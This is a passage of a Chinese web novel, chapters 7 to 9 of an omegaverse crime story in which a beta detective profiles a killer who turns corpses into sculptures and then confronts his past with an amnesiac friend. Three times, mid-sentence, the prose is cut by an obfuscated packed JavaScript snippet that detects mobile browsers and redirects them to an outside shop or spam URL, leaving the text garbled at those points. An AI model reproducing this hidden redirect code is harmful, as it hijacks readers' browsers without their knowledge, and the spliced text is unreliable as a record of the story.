《禁止向深渊祈祷》 7. 犯罪侧写 此言一出在场无一人不惊讶无比,尤其是最后一句更是称得上惊世骇俗。坐在徐长嬴边上的赵洋脸上都有些异色,宋瑜立率先发起了质疑,他对徐长嬴的先入为主的印象过于不佳,因此语气间少了许多客气:“徐警官,那么你说凶手,哦不,作者只有一个人的依据是什么呢?毕竟我们现在并没有任何其他线索,以及你说我们见过凶手,这更是奇了怪了,辛苦您来给我们解释一下。” 徐长嬴立刻点点,似乎并没有听出他语气的火药味,而是站起身将两张彩页贴在另一块白板上,转头看向宋瑜立,“这是我的依据。” 所有人很快看清,那正是从HEART此次展览提供的作品册撕下来的,署名THE TEN也就是10号凶手的5件作品照片。 宋瑜立不满道:“这5张照片是展览提供的展品照片,我们所有人都看过,请问这上面有什么线索说明制作者就是一个人呢?” 他身边的谈松微微皱起了眉头,他在解剖室里见过这个奇怪的beta警探的表现,他心里有种隐隐约约的预感,思及于此他便看向对面的犯罪顾问,却见夏青正专心致志地盯着白板,他的脸上并无任何被冒犯的不满。 徐长嬴盯着5件作品照片看了几秒,似乎在斟酌用词,很快他转过身,“惧,恸,泪,惶,悔,虽然是3个泥塑和2个青铜,但风格一致,赤裸的人体尽可能扭曲肢体,与脸上挣扎、痛苦、惶恐等表情一同构成这所谓艺术的姿态表演,”徐长嬴指着照片上的展品,望着宋瑜立的眼睛,让脸上的轻松笑意不知何时荡然无存,像是要看透他的内心一样问道: “望着这五个展品,你内心第一瞬间出现的情感是什么?” 像是被徐长嬴过于炙热的目光灼伤似得,宋瑜立立即移开了视线,不再与他对视。徐长嬴和宋瑜立都没意识到,这一瞬间坐在办公桌上的所有alpha都感受到了巨大的压迫感,就像是来自等级更高的信息素压制一般。 赵洋悄悄地攥住了手掌,心里的迷茫一闪而过,那是怎么回事? 宋瑜立:“情感?我们能有什么情感?我们是破案的,又不是鉴赏艺术品。” “是吗?”徐长嬴抓了抓脸,他站在白板前,他那张英俊面孔笑起来自带邪气般,他沉声道:“我以为alpha会比我这个beta要更敏感呢。” “优越感。” 徐长嬴望着一屋子的alpha精英,自己都不知道此时的他简直像是引诱犯罪的教唆者,他语气放缓,声调降低:“女性面庞痛苦地扭曲着,她们浑身赤裸,四肢被摆成普通人无法做到的姿态,哪怕是站在一旁的路人也能从中享受到围观弱者挣扎的快感,并分享施暴者的优越感,这些情绪源于最基本的性冲动,也是支配性别犯罪的最大犯罪动机。” 说着,这个年轻的beta探员摊开双手,露出了一个残忍的微笑:“如果我是制作活人塑像的作者,我会在制作过程中享受这种洋洋自得的情绪,因为这是我平日里获得不到的快感。而根据AGB记录在册的数万起性别暴力案件统计,性暴力犯罪者在对尸体进行肢解、侵犯、煮食等破坏行为,动机正是源自于未满足的性冲动。 这种原始欲望的变态释放往往伴随着暴力倾向,因此集体创作的可能性至少降到百分之三十以下,除非这个创作集体互相包容,彼此认可且崇拜,但情绪如此平和稳定又怎么可能实行变态犯罪。” 在场的老警察都目瞪口呆,坐在夏青边上的李嘉丽扶了扶额头,低声自语道:“果然,又是老样子。” 除了三个女性alpha和beta邵巧巧,在场的男性alpha很难不被徐长嬴这一段性别分析而中伤,就连谈松都犹豫一下最后挣扎道:“仅仅凭借徐警官你的直觉?就这么认定制作者只有一人是不是太离谱了!” “对,”徐长嬴一脸无奈,但理直气壮道,“毕竟现在诸位给我提供的除了这五张照片和三具尸体,一条有效线索都没有,如果夏顾问可以运用理性思维,根据紧凑的作案时间来推断制作者是多人,那么我根据犯罪心理来分析推理制作者是单人又为什么不可?” 班杰明小声道,“这也算侧写啦,不是直觉啦。” 赵洋扭过头:“你怎么还有口音。” 班杰明更小声了:“是徐教我的。” 徐长嬴完全投入到案件之中,他这时候六亲不认,不知情的重案组组员听到这一番话心里都不太好受: 如果说之前的徐长嬴的“艺术鉴赏”玄里玄乎,那么他将夏青拖下水的辩白则显得有理有据了,不过宋瑜立等人对于这个外来的beta的观感变得更加糟糕,这是一种违背他们一直以来坚定认知的不适感——一个beta不仅大肆发表针对alpha缺陷的心理分析,并且居然还透露出以beta性别为荣的优越感,除了女性尤其是“茶水小妹”邵巧巧感到说不清的愉悦,其他人都不免被冒犯到。 什么叫alpha会更容易从这些艺术品里获得优越感啊,听上去简直就是在说alpha天生更容易犯罪。 宋瑜立此时也开始对案件较真了,他道:“当然可以,但是我更加疑惑的是,为何徐警官能够笃定10号凶手是一个人,并且还说我们都见过?” “问得好,我刚刚都忘了一起说了,但您先等一下,”徐长嬴右手握拳轻轻敲了一下左手心,他走回自己的座位,弯腰要去摸那一堆废纸,赵洋动作迅速又默契地将两张纸递给了他,徐长嬴没想其他直接就接了过去,也没道谢,转身将手中两张A4纸贴在了两张彩页的下面,那上面是五个钢笔速写的人体,栩栩如生,简单利索的线条和硬朗的阴影就勾勒出5个展品简化后的人体结构。 他摸了摸鼻子,但整个人神采奕奕的,“刚刚是犯罪心理分析,接下来就是我个人的一些跑题的艺术鉴赏了。” 宋瑜立等人看着这个怪异狂妄的国际探员脸上居然露出一丝腼腆,顿时无语——刚刚原来是专业的学术分析吗? “支持我判断制作活人雕塑只有一人的,不仅是性暴力犯罪心理,还有这五个展品的创作主题和艺术水准。假设这一套人体塑像是集体创作,那么就必然需要这个团队每个人的创作水平成熟且一致。这是因为与其他工作不同,艺术创作中多人合作一定是难于单人创作,这期间需要牺牲许多的灵感和艺术思考,不过作品的质量确实会得到提升。” “但是,正如前面所言,这五个展品的表现主题和意图是肤浅且平庸的,而方才的解剖照片各位都能看见,腹部的缝合手法十分粗糙,不然也不会这么容易被察觉到与之前的手术伤口不同。” 徐长嬴走到另一块白板前,“此外,我注意到三位死者的脚踝部位与足跟采用了螺丝定位,这是很门外汉的塑像固定方法,而且死者的腹部和臀部脂肪组织处理的很不到位,能看出明显的凹凸不平,所以凶手在后期做了填充处理,因此我们才能看到皮肤上很多针孔,当然这些在后期泥塑或者油漆处理后就看不出来了。” 徐长嬴歪着头指了指严建柏边上那块贴满尸体解剖照片的白板,严建柏和方溥心的脸色都有些变了。 徐长嬴沉浸在自己的推演里,但赵洋和齐枫敏锐察觉到了办公桌上气氛的变化——重案组之前根本没有关注尸体,也就是人体艺术品上的处理细节代表着什么,不如说,刑警不了解这些是理所当然的,只是没想到面前的这个beta警探不仅注意到了,而且还在短时间内快速串联起犯罪行为。 徐长嬴又站直了身体,他左手插兜,整个人看上去颇为洒脱,散发着与其年纪不符的,海量实战经验带来的独特自信,“诸如此类的粗糙痕迹还有很多,我认为后期法检小组可以再重新就这些重点做一个报告,也可以作为制作者赶工的推断依据,但是这些都不是最重要的。” 说着,徐长嬴在众人的视线里环视了一圈,似乎在找着什么,这时他看到了夏青面前的笔记本电脑,而夏青本人的目光正静静停留在他的身上,徐长嬴一边压制住心底的情绪,一边大步走过去。 “夏教授,介意我用一下你的电脑吗?我只用浏览器。”徐长嬴笑眯眯道。 这个冷若冰山的帅气教授面上没有什么波澜,点点头,将电脑转向他,“你随意。” 徐长嬴低头很快就敲起了键盘,因为他弯腰站在严建柏和夏青的中间,所以与夏青挨得很近,近到他能闻见夏青身上淡淡的衣物洗涤剂的味道。 徐长嬴没有抬头,夏青却敏锐感知到了什么,他抬起头,对上了赵洋复杂探究的目光,但对上视线后,赵洋没有什么表示,只是若无其事地移开了视线。 “啊找到了,确实没记错。”徐长嬴将电脑转了一圈,面对所有人。 一张复杂诡异的雕塑照片铺满了整个显示屏幕,那是一道巨大的青铜门,上面或站或立或坐着数不清的人,扭曲的人体包裹着门框,给观看者带来充满诡异和威胁的不安感。 徐长嬴庆幸自己的底子没丢干净,记得没错,他抬起头:“如果展览的参观者看过图上这个雕塑作品再去看10号凶手的这5件展品,应该都能发现,后者不过是粗糙可笑的抄袭品。” 一时间所有人都开始聚精会神地盯着屏幕上的照片看,就像是玩找茬游戏一样。 不一会儿,坐在最后面的邵巧巧慢慢地举起了手,徐长嬴瞥见了她,便笑着问道:“怎么了?” 邵巧巧是重案组里年纪最小的,今年才25岁,她语气怯生生的,但眼睛亮晶晶的:“徐警官,我这边离得有点远,而且我怎么都看不出来抄袭呀?” “哦,稍等,”徐长嬴阔步走到白板将画着人体速写的两张纸抽了下来,他叠了一叠纸张,将一个速写单独折出来,又将电脑屏幕上的照片放大,“412号,左上方这个人体。” 接着他折了一下,又比在电脑上,“456号,左下角这个男性人体,能看出来吗?” 很快徐长嬴就在众人面前找到了五个展品的“借鉴原型 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049253|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”,众人的眼神越来越震撼,他竖起食指:“是不是几乎等于照抄?甚至除了256号以外的展品都是将男性塑像姿态直接搬运到女性身上,如此创作手法——” 徐长嬴忍不住轻笑一声,“也不是不能参加展览,毕竟他也不是当代艺术家里干的最过分的。” 齐枫道:“这么抄都没人发现吗?” 徐长嬴摸了摸下巴,他站在夏青边上低头看着电脑屏幕:“这一点确实奇怪,雕塑作品抄罗丹就算了,还逮着《地狱之门》这一个名作抄,简直就像小说抄鲁迅,油画抄梵高一样让人佩服胆量,毕竟国内的美术课本里普通学生都学过,就算一时想不起也会觉得眼熟。” 办公桌边上余梅低声问谈松:“哎,你眼熟吗?” 谈松翻了一个白眼:“他妈的老子初高中的美术课都被班主任占了上数学,还眼熟呢,我刚刚还在想罗丹这么耳熟,是不是CBA里的哪个队里的前锋。” 邵巧巧偷偷捂住了嘴巴才没有笑出声。 这时严建柏开口道:“如果是抄袭的话,在人体塑像制作上会加快进度吗?” 他问着话的时候先是看了看夏青,然后又看向了徐长嬴。 徐长嬴低头看向alpha,只听到对方语气肯定道:“人体塑化处理可以在2星期以内完成。” 严建柏的目光又回到徐长嬴,徐长嬴没有再去看夏青,他道:“凭借我对艺术创作的浅薄认知,我认为会加快三分之二的进度,因为抄袭就解决了艺术创作的最大工作量,我今天还注意到412号的两只脚底都打了螺丝加装了铅块,我怀疑凶手甚至都没有起草稿,做的差不多了才发现塑像站不住。” 齐枫突然开口道:“那你的艺术水平确实勉强不差。” 话音刚落,赵洋就没忍住笑了出来,宋瑜立一脸奇怪地看向余梅:“他俩抽什么风?” 余梅耸耸肩,宋瑜立又转头看向谈松,谈松也摇了摇头。 “只够糊口饭吃咯,考上AGB之前我都是在天桥底下画肖像的。”徐长嬴开玩笑似道,重案组其他人都云里雾里,但是一开始沉重的气氛散去了许多。 只有离徐长嬴最近的夏青静静地盯着徐长嬴垂在办公桌上的手指看,那双纤长有力的手中的几根手指都有变形的痕迹,接着他又抬起头看向徐长嬴的脸。 徐长嬴几乎是在一瞬间就察觉到夏青的目光,他僵了一下,站直了身体,将电脑转回去,“谢了”,又回到自己的座位。 严建柏和方溥心低声讨论了一会儿,交换过眼神后,严建柏清了清嗓子道:“所以现在我们对于第二阶段犯罪的人员组成大致分为两种猜测,都十分合理,所以,还是请问徐警官,你之前说的我们都见过凶手可以再解释一下吗?” 这时众人都精神一震,这才想起这个AGB的beta探员一开始吹的巨大牛逼。 徐长嬴刚坐下来,听到严建柏问这句,啊了一声道:“对,我刚刚又说忘了。” 接着徐长嬴看向所有人:“因为我们在国外并没有渠道得到艺术馆里的监控视频,但是各位警官应该都至少看过一遍了吧?” 一直没有发言的张齐说道:“都看过,而且我和老苗两个人看了两遍,犯罪后的凶手很大可能都回到犯罪现场参观,以此满足自己的变态心理这是常识,你应该是指这个吧?但是这可行不通,艺术馆的人流量一天在2到3万,几乎就和流水一样,想要从十天的监控里面找到凶手简直就是大海捞针。” 徐长嬴摸了摸下巴,他扭头看向班杰明,开口道:“班杰明,平面图是不是在你那里?” 班杰明点点头很快从包里翻出一叠文件,徐长嬴缓缓开口道:“其实到现在都是我个人不成套数的推理,但是我觉得这是当前比较好的一个筛选方案。” 徐长嬴将文件向前推了推,手指敲了敲三处:“这是市局之前提供给我们的艺术馆内部建筑图,我刚刚和方警官确认过了,五个塑像分别因为材料和表现情绪主题的不同被分散在三个方向,并且这次艺术展览占地在2000平左右,一共有三个厅,如果一个展品看30秒,全部逛完需要3天。” “但是,作者不是去看展品的。”徐长嬴抬起脸,脸上流露出一丝胸有成竹。 徐长嬴转过头看向张齐:“作者就如同电影的导演,他进入电影院是唯一背对大银幕的人,他需要看观众的反应,因此10号凶手需要从观察别人对待自己作品的态度里寻求成就感,所以他在每个展品面前停留的时间我认为绝对不会低于5分钟,而正巧,五个塑像在三个方向,按照主办方''漫游城市''的创意,也并不在同一条参观路线,或者说必须要走三遍才能完全参观完五个展品——” 在场所有人都猜到了他接下来要说的话:“如果对三个角落里的监控视频里进行筛选,将每一个监控里停留在5个展品前超过五分钟的人员都筛选出来,就会大大缩减搜查范围。” 办公室里所有人的脸色都变了。 8. 陈年旧事(上) “五分钟。” 一个冷静的年轻声音打破了所有人的沉默,夏青抬起眼,修长的手指里捏着一支钢笔,抛出质疑,“是怎么得出来?” 徐长嬴一瞬间闪过的念头是这人怎么还和小时候一样较真,旋即还是诚实地回答道:“我猜的。” 谈松失声叫道:“怎么又是猜的!” 话音刚落,齐枫就不客气地狠狠踢了他小腿一脚,谈松小声唉哟一声,一脸委屈地看着齐枫。 李嘉丽这时一脸了然地问道:“你自己估算的吗?” 徐长嬴不好意思一笑:“对的,我估算的,五分钟刚刚好算是临界值,将路人和嫌疑人隔开,毕竟这种东西总没有方程式可以算出来吧。” 谈松哦了一声,“确实。” 但这时夏青将笔放在一旁,道:“可以算出来。” 被突然反驳的徐长嬴一脸呆滞:“啊,可以吗?” 众人此时也好奇无比,余梅问道:“夏教授,这种时间怎么算出来?” 夏青道:“用大数据算法技术可以将三天的监控中的人流数据转化成可视化数据,计算出这五个展品的人均观察时长,再进行人员筛查。” 方溥心有些欲言又止,夏青又平静地补充道:“兴安的技术部团队今天就可以参与数据处理。” 方溥心神色瞬间放松下来,他眼中满是敬佩和赞许:“那就多谢夏教授了。” 徐长嬴摸着下巴,似乎没有觉得自己被打脸一样,他也跟着赞叹道:“科技真是第一生产力啊。” 宋瑜立看了徐长嬴一眼,声音不大地哼了一声,谁知下一秒齐枫就敏锐地转头狠狠盯住他,宋瑜立被她充满审视和谴责的目光搞得心情紧张起来,和谈松对视,用眼神询问她今天怎么了,谈松皱着脸表示不知道。 李嘉丽笑着摇摇头:“徐的个人判断原来真的会遇到滑铁卢。” 徐长嬴摸了摸脸正要说话,却听到夏青开口道:“个人计算的五分钟并没有大问题,如果没有技术支持,也是最优解。” 众人听到这话,心里都咯噔一下——这句话简直就是在为徐长嬴找补一样,不说刚刚徐长嬴一直没少针对夏青反驳,夏青此人在工作里也是一向不显露任何的个人情绪和观点倾向,这一句应该算是他参与刑侦工作以来说的第一句带有评价色彩的话了。 徐长嬴却从胸腔深处里缓缓冒出一阵寒颤,他瞬间明白了,这虽然不是他认识的夏青,但是他其实还是夏青。 严建柏合起文件夹,抬起头对着邵巧巧道:“巧巧,现在去通知信息技术科,今晚准备一下,最好明天就能出结果。” 邵巧巧蹭的一下就站起来:“是!” 而会议就这样散了,徐长嬴站在桌子边上,只见自己的老拍档李嘉丽抱着胳膊,松口气似得靠在椅背,朝他无奈地笑了笑。 这时他身边的赵洋也站起来拍了拍他的肩膀,笑道:“大警探,晚上有约吗?” 徐长嬴歪了歪头假装想了想,“应该没有。” 宋瑜立和谈松站在办公室的另一头,看着赵洋贴在徐长嬴身边,宋瑜立抽了抽嘴角:“他们俩这个叛徒难道和这个beta认识?” 谈松的目光则放在颠颠跑向徐长嬴的齐枫身上,有些不是滋味道:“谁知道,他们俩今天压根不理我。” 徐长嬴瞥了一眼正在和严建柏以及邵巧巧交流后续工作的夏青,夏青身上穿的西装要比AGB三人组今天的着装要正式多,暗青色的套装衬得他的肤色越发白皙,他其实脸长得和徐长嬴完全不像,更加俊秀精致,但是个子已经比徐长嬴高出很明显的一截了。 齐枫这时扯着徐长嬴的胳膊着急道:“走了走了,半个月都没有按时下班了,今晚我要吃火锅!” 徐长嬴的思绪被打断,他扭过头看了看齐枫的脸,笑了一下:“知道了,你等我一下,我去打个招呼。” 说着,徐长嬴带着李嘉丽和班杰明走到正在低头整理资料的方溥心面前,徐长嬴和方溥心握了握手,“今天辛苦方队了,我们明天依旧是按时报道,若有任何需要随时联系我们。” 方溥心其实说起来并没有比徐长嬴大出多少岁,他面上露出了些柔和的笑容,真诚道:“今天多亏了徐警官你们的到来,我们一直僵持的案情取得了很大的突破,我们重案组还需要从各位专员的身上学习很多缺少的刑侦技能。” 徐长嬴心里还是很喜欢这个可靠又聪明的刑警,便又笑着寒暄两句,正要离开时,他听到背后脚步声响起,他回过头,一只手伸到他的面前。 “徐警官。” 徐长嬴望着那只手愣了一瞬,这只手骨节分明,白皙修长,只是有一道醒目的从虎口蜿蜒到桡骨的白色疤痕破坏了整体的和谐,他抬起头,对方静静地望着自己,徐长嬴后知后觉地握住了他的手。 “我叫夏青,今天很高兴认识徐警官。” 徐长嬴很快就缓过心神,面上露出了他那标准的浅笑,“我叫徐长嬴,也很高兴认识您。” 夏青轻轻点了点头,“那我先走了,徐警官。” 徐长嬴收回了手,也点点头:“请便。” 徐长嬴站在原地,李嘉丽摸了摸下巴,若有所思道:“他是不是在补今天下午的那个握手。” 班杰明“啊”了一声,“那他好有礼貌哦。” 方溥心拿着文件夹路过,停下脚步扭过头补充道:“夏教授应该是很喜欢徐警官,比如他就不会这么对赵洋。” 站在一边目睹一切的赵洋叉着腰对着方溥心不满道:“方哥!” 方溥心挑了挑眉就走到严建柏身边,两个大家长就施施然地离场了。 徒留徐长嬴一人站在原地,心乱如麻。 因为李嘉丽和班杰明要去吃抖音推荐的一家网红早茶自助,所以就抛下了徐长嬴,徐长嬴当然知道贴心女伴的意图,便与赵洋和齐枫一起走。 齐枫一边下楼梯一边拿着手机选择火锅外送套餐,她换了便装,看上去就像女大学生一样,徐长嬴望着她的粉红色兜帽,发出疑问:“疯儿你现在多高?” 齐枫站在下面两节台阶上,扭过头看着徐长嬴,比了一个数字:“一米九二。” 徐长嬴不可思议道:“你怎么二十多岁还蹿个子?” 齐枫得意洋洋道:“体检医生说我是女性alpha,信息素波动到25岁才稳定,之前会一直长个。” 徐长嬴啊了一声,楼梯间空荡荡的,他后知后觉道:“我说呢,夏青怎么长高了。” 他今天第一次主动提到夏青,赵洋和齐枫都回过头看他。 徐长嬴笑了笑,“我之前看新闻和小道消息,以为他变了不少呢,但看上去还和以前一样,呆呆的,还挺好玩的。” 赵洋脸上浮现出无法理解的表情,脱口而出道:“呆呆的?你说谁?不是吧,你以为他现在是谁?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049254|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 徐长嬴又回想了一下,“他穿的衣服比之前好看多了。” 齐枫一把搂住了徐长嬴的脖子,“你怎么心那么大啊,老大,我还想你见到他会不会难过呢。” 徐长嬴一边下楼梯一边不解道:“为什么难过?” 齐枫小心道:“咱们四个当年,你和他关系最好,他不记得我和赵洋倒无所谓,你不难过吗?反正我和赵洋伤心死了。” 赵洋反驳道:“瞎说什么,谁伤心了。” 齐枫不客气道:“我是说夏青不记得老大这件事让我伤心,又不是说不记得你。” 徐长嬴打断了她:“小枫,人和人之间是看缘分的。” 他扭过头对着齐枫笑道:“我当时离开的时候就是这样想的。” 齐枫搂着徐长嬴的胳膊更紧了:“那我们之间的缘分呢?” 徐长嬴坦然道:“今天早上你们喊我艾德蒙警官的时候没发现我们的缘分吗?” 齐枫笑了起来。 停车场的车已经走得差不多了,三人向着赵洋的车走去的时候,徐长嬴突然察觉到什么,看向了不远处的一辆车。 那辆车刚停稳,司机就从驾驶座下来,迎上去接过前面一人手中的提包,那人和他说了两句话,便也转过头看向徐长嬴三人。 正是夏青。 尽管在回国前就做了准备,但是今天徐长嬴还是花了很大的力气控制自己没有一直盯着他。28岁的夏青和18岁的夏青已经完全是两个人了,他站在空旷的停车场的角落,一身体面讲究的西装,什么都没做,只是站立着就自带着一份生人勿近的气场。 徐长嬴远远望着,冲着他笑着点点头,夏青这才收回目光,坐进了后座。 齐枫小声道:“今天我真的感觉他想起你了。” 徐长嬴眼神中情绪淡淡的,摇摇头:“没有,我能看出来,他一点都不记得了。” 说完,徐长嬴坐进了副驾驶,赵洋坐在驾驶位上,发动了引擎,冷冷道:“他现在和他那个表哥简直像一个模子里刻出来的,一样的扑克脸死正经,但实际上一肚子盘算。” 齐枫从后座探出头,反驳道:“他以前也不爱说话。” 赵洋:“那是你太瞎了。”’ 齐枫哼了一声,望着前面缓缓驶离的宾利,又低头看了看赵洋这辆二手本田,突然开口道:“赵洋你明天能不能去买彩票?” 赵洋恶狠狠地打着方向盘,破口大骂着拆穿齐枫的心思:“你有病啊齐枫,为什么是我买,我中五百万我就供楼去了,我买什么豪车超跑,你不愿意坐就滚下去!” 齐枫被骂了立刻就向徐长嬴抱怨道:“他现在可勤俭持家呢,刚毕业那五年我们俩合租一个房子,我马桶多冲次水都要骂我。” 徐长嬴被这个荒谬的现实感戳中了痛点,无奈感叹道:“人生真是风水轮流转,我到现在也没还清债呢,咱们这鬼日子过的。” 赵洋边开车边疑惑道:“你还什么债?” 徐长嬴坦然道:“医药费呀,资本主义怎么可能会免费给我治病?” 赵洋不知道想了什么,半晌才道:“病彻底治好了吗?治好就行,你还欠多少?我给你添点。” 徐长嬴掰了掰手指:“还好,今年AGB给我发一批年终奖,我就还清了,病确实已经治好了,不信你闻闻我身上?” “滚蛋吧,”赵洋不客气道,“你这可是性骚扰。” 9. 陈年旧事(下) 赵洋租的房子离市公安局很近,十分钟的车程,小区虽然老但是还算干净,在刚开始市局还会给租房补贴,所以渐渐的赵洋和齐枫也能靠自己在这个城市里站稳脚跟了。 齐枫虽然已经搬走了,但是她原来住的房间还空着,一进门她就翻出自己的熊猫拖鞋和家居服换上了。 徐长嬴叉着腰对他俩无奈道:“你们哥俩不会真凑一对了吧。” 赵洋和齐枫瞬间都露出了头皮发麻的表情,异口同声大叫道:“怎么可能!” 徐长嬴笑眯眯地看着他俩:“我猜也是。” 齐枫把头顶扎了个小辫子,像一只巨型犬扭到徐长嬴身边撒娇要他做水煮鱼,徐长嬴撸起袖子就开始穿围裙,自信道:“这有什么。” 狭小的厨房和徐长嬴刚上高中时的家很像,徐长嬴拧开煤气灶的一瞬间感觉自己就好像只是出了一趟远门,好像下一秒厨房的门就会被大花猫给撞开,然后他大叫一声,穿着校服的少年就会跑进来弯腰将猫抱走。 扔了一把花椒在油里,徐长嬴就开始疯狂打喷嚏。 一边打喷嚏,徐长嬴一边听着齐枫洗着菜扭捏道:“小嬴你为什么一定要假装不认识夏青?他虽然不记得我们了,但他今天看上去还是很喜欢你。” 徐长嬴打了一个喷嚏回头看向她:“你看错了吧,我感觉他就是看陌生人。” 齐枫瞥了一眼靠着门看着他俩的赵洋,飞速道:“你今天压根没敢多看夏青几眼,但是他一直在盯着你看呢,他当年刚转学来其实也这样。” 赵洋不满地“啧”了一声。 齐枫瞪了赵洋一眼。 徐长嬴用袖子擦了一把脸,突然笑了起来道:“齐枫,其实这世界上除了你俩,已经没有几个人知道我以前是alpha,阿丽和我共事五年了,她也不知道。” 徐长嬴抬起头看向齐枫漂亮的杏眼,有些为难道:“所以有点麻烦,就是怎么说呢,我也不是林殊华,是夏青的亲兄弟,必须对他解释一堆:你好,我们曾经是好哥们,不过那个时候我是alpha,但现在是beta,而且你都忘记了。” 赵洋这时也站直了身体,语气凉薄:“别听疯子瞎说,本来就没有必要。又不是我们让他失忆的,万一哪天他想起来自己想来找我们又不会不承认。” 只是,他说这话的时候没有注意到身侧的徐长嬴的手微微颤抖起来。 齐枫似乎是很不满赵洋这副冰冷的语气,有些着急道:“万一他之后真的想起来了,结果发现我们一直没和他说真相,肯定会生气,这感觉就像是我们三合伙骗他一样。” “齐枫,没有万一,林殊华不是保证过了吗?”赵洋突然打断了她。 在聒噪的抽烟机的轰鸣声中,齐枫突然噤声,而徐长嬴也意识到了什么,他将煤气灶关上,转过身,看向赵洋的眼睛:“林殊华保证了什么?为什么要保证?” 赵洋却只是低着头,徐长嬴阔步走上前,重复了一遍:“他对你们保证了什么?” 赵洋猛地抬起头,眼中满是憎恶和恨意:“还能有什么,保证夏青失去的记忆永远不可能恢复。” 徐长嬴愣住了,怔怔道:“为什么林殊华会对你们说这个?你们为什么会和林殊华联系上。” 林殊华是林光霁的长外孙,是其二女儿和入赘的女婿所生的长子,比徐长嬴等人大一岁,是林家的第一个优性alpha,也是夏青的表兄,但他从高中毕业之后与徐长嬴等人几乎就断了联系,毕竟他是豪门世子,和他们之间差了几十个阶级。 赵洋却不回答了,齐枫在一旁犹豫了很久,才开口道:“八年前,我和赵洋找不到你,就去根据你给我们寄东西的地址找到了你和夏青当时租的房子。” 赵洋立刻喝道:“齐枫!我们说过不会再提的。” 赵洋话音刚落,徐长嬴立刻一把抓住了他的肩膀,又气又急:“为什么不提?你们去找了我?” 赵洋再抬起脸,竟眼眶通红,口中冷笑道:“我们的心肠没有你那么硬,我怎么可能不找你?徐长嬴,你是不是以为全世界只有夏青在乎你?” 徐长嬴的心像是被开了一个窟窿,面对赵洋的痛斥,他这些年自欺欺人的谎言也被撕开,他瞬间喉头哽住,几乎无法反驳一句。 齐枫这时走了过来,将赵洋往后一推,“你有病啊,不会说话就他妈闭嘴别说话——最近几年你脾气越来越坏我都没管你,你现在犯病我一定揍你!” 她转过身看见失魂落魄的徐长嬴,连忙上前牵住他的手道:“赵洋说的不是真心话,你别理他,你嘴上不说,我怎么可能不知道你什么德行,你这些年怎么可能过得像你说的那样容易。” “你们找过我?”徐长嬴磕磕巴巴问道。 齐枫扭头看了一眼沉默不语的赵洋,又看向他。 “其实还找了夏青,”齐枫摇了摇头,“那是6月初,房东说你从2月就生了病,是夏青一直在照顾你,你在5月13号突然离家出走了,夏青出门找你,但再也没回去过。” “我们只能去学校找你和夏青,那时候你已经错过了毕业答辩,你的室友说你的老师带着你师兄师弟全世界找你,后来老师硬是给你留了两年的学籍,而夏青他的同学老师也不知道他去哪里了。” 随着齐枫的叙述,徐长嬴仿佛又被拉回了那个炙热混乱的夏天,他用劲扶住了料理台才站稳,这时他听见赵洋轻笑了一声: “那时我还在想完蛋了,我以为你俩傻逼殉情了。” 徐长嬴瞳孔微张,他盯着赵洋,对方也抬起头回望着他,“我知道夏青那人性格古怪,但是他确实比我们更喜欢你,这也是我们四个能玩在一起的原因,所以我相信所有人都不知道你在哪里,他一定知道。” “但是我怎么都找不到他。”赵洋坐在了餐桌旁,低声道,“直到三个月后,我在学校,齐枫已经进市局上班了,我们俩收到夏青同学的电话,说夏青回去领了毕业证。我们还很纳闷呢,夏青也没有毕业答辩,他领什么毕业证?但是我们还是赶紧跑回北京找他。” 徐长嬴走了过去,赵洋却不去看他,他狠狠摇了摇头:“接下来的事情你应该能够猜到了。夏青变成了彻彻底底的林家人,我们再也联系不上了他,我不甘心,我蹲在林家门口,蹲了几天,蹲到了林殊华。他和我说他的极优性alpha表弟高烧把脑子烧坏了,得了逆行记忆障碍,他的长期记忆停留在他父亲去世那段时间,什么高中还是大学,都想不起来了。” 徐长嬴蹲了下来,抬起头望着赵洋的脸,轻声道:“赵洋,已经过去了,我以后不会走了。” 赵洋攥紧了拳头,他别过脸固执地继续道:“我对林殊华说我又不是找夏青的,我是来找徐长嬴的,他说他知道徐长嬴和夏青关系好,已经问过了,夏青不记得。我都不记得我当时骂了什么难听话,那个死正经最后答应我,夏青回国了就让我和他见一面。所以我们又等了半年,等到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049255|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏青过年从美国治疗回来。” 说到这,赵洋居然笑了一声,“那天是大年初二,我和齐枫站在林家别墅的花园门口,夏青,不,夏青坐在里面看书,他看上去一点毛病也没有,他抬起头看着我们,问你们是谁?我们俩站着看了他一会儿,掉头就走了。然后林殊华就追了出来,对我们说—— 以后就算遇到夏青也不要说我们是同学,因为林家没有告诉夏青他爸死后的事情,这样对大家都好。” 